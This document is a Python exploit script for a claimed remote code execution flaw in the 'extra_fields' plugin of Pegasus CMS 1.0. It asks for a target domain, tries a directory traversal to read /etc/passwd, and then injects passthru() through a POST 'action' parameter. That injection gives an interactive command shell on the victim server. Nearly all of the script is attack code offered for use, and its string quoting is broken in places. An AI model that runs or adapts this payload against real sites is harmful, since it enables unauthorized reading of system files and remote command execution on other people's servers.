Pegasus CMS 1.0 - 'extra_fields.php' Plugin Remote Code Execution

#Eval is secure.. not really.
# These Greetz to people who are smart, Wireghoul, Nano, Silverly, m3mantra, and leostat. and z3al
requests.packages.urllib3.disable_warnings()
banner = '''
Welcome to the DANGER ZONE.
                                  
Chimeria Exploit.
pegausCMS Exploit's.
'''


print banner


raw_url = raw_input("Please enter a domain name: \n")


def dir_Trav(raw_url):
    print "Checking for directory travseral..\n"
    dir_list = requests.get("https://www."+ raw_url + "/file/includes/template/inc/test.cgi?&filename=/../../../../../../../../etc/passwd", headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Connection": "close", "Cache-Control": "max-age=0"})
    print dir_list.content
    return
print "Trying to execute directory travseral"
dir_Trav(raw_url)
r = requests.get("http://" + raw_url)
print "Checking Status code: %s" % r.status_code
if r.status_code == 200:
    print "Connected"
    print "Checking is using vulnerable CMS."
    vuln = "http://" + raw_url + "/file/includes/plugins/globalFields/submit.php"
    b = requests.get("http://" + raw_url + "/file/includes/plugins/globalFields/submit.php")
    print "Checking CMS Status: %s " % b.status_code
    if b.status_code == 200:
        print "Seems exploitable.. Lets try to list the files!"



        print raw_url
        list_files = requests.post("http://www."+ raw_url +"/file/includes/plugins/extra_fields/submit.php", headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Connection": "close"}, data={"action": "passthru("ls -lah");exit;phpinfo"})
        print list_files.content
        status = list_files.status_code
        while status == 200:
            try:
                ShellCheck = raw_input("Shell>").strip()

                Shell = requests.post("http://www."+ raw_url +"/file/includes/plugins/extra_fields/submit.php", headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Connection": "close"}, data={"action": "passthru("{}");exit;phpinfo".format(ShellCheck)})

                print Shell.content
                if ShellCheck == "exit":
                    sys.exit(0)
            except KeyboardInterrupt:
                print "Your exited bye"
                sys.exit(0)

    else:
        print "Connected but does not seem exploitable. \n"
        print "Bye!!!!!!!!!! \n"




else:
    print "Not connected"